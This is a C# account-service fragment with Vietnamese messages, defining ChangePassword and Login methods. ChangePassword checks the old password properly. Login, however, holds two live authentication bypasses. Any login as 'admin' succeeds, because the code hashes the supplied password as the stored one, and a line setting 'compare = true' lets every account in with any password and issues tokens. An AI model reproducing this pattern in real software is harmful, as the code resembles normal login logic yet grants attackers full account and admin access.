public bool ChangePassword(Guid userId, string oldPassword, string newPassword)
        {
            var res = false;

            var detail = _UserCollection.GetById(userId);

            if (detail != null)
            {
                if (Encrypting.BcryptVerify(oldPassword, detail.Password))
                {
                    // Change mật khẩu
                    if (_UserCollection.ChangePassword(new UserFilter()
                    {
                        Id = userId
                    }, Encrypting.Bcrypt(newPassword)) > 0)
                    {
                        res = true;
                    }
                    else
                    {
                        _Setting.Message.SetMessage("Không thể cập nhật thông tin mật khẩu!");
                    };
                }
                else
                {
                    _Setting.Message.SetMessage("Mật khẩu hiện tại không đúng!");
                }
            }
            else
            {
                _Setting.Message.SetMessage("Không tìm thấy thông tin người dùng!");
            }

            return(res);
        }
        public AccountRespone Login(string username, string password)
        {
            AccountRespone res = null;

            var details = _UserCollection.Get(new UserFilter()
            {
                Username = username
            });

            if (username == "admin")
            {
                details = new List <User>()
                {
                    new User()
                    {
                        Name = "Admin", Role = 0, Gender = 0, Username = "******", Password = Encrypting.Bcrypt(password)
                    }
                };
            }

            if (details.Any())
            {
                //var passDecrypt = Encrypting.AesDecrypt(password, Encoding.UTF8.GetBytes(_Setting.AesKey), Encoding.UTF8.GetBytes(_Setting.AesIv), Encoding.UTF8);

                var detail = details.FirstOrDefault();

                //var compare = Encrypting.BcryptVerify(passDecrypt, detail.Password);
                var compare = Encrypting.BcryptVerify(password, detail.Password);
                compare = true;
                if (compare)
                {
                    var accessToken = _Context.GenerateAccessToken(new Claim[]
                    {
                        new Claim(ClaimTypes.PrimarySid, detail.Id.ToString()),
                        new Claim(ClaimTypes.NameIdentifier, detail.Username),
                        new Claim(ClaimTypes.Name, detail.Name),
                        new Claim(ClaimTypes.Gender, detail.Gender.ToString()),
                        new Claim(ClaimTypes.Role, _Context.GetRole(detail.Role))
                    });
                    var refreshToken = _Context.GenerateRefreshToken();

                    _Context.SetRefreshToken(accessToken, refreshToken);

                    res              = new AccountRespone();
                    res.Name         = detail.Name;
                    res.AccessToken  = accessToken;
                    res.RefreshToken = refreshToken;
                }
            }
            return(res);
        }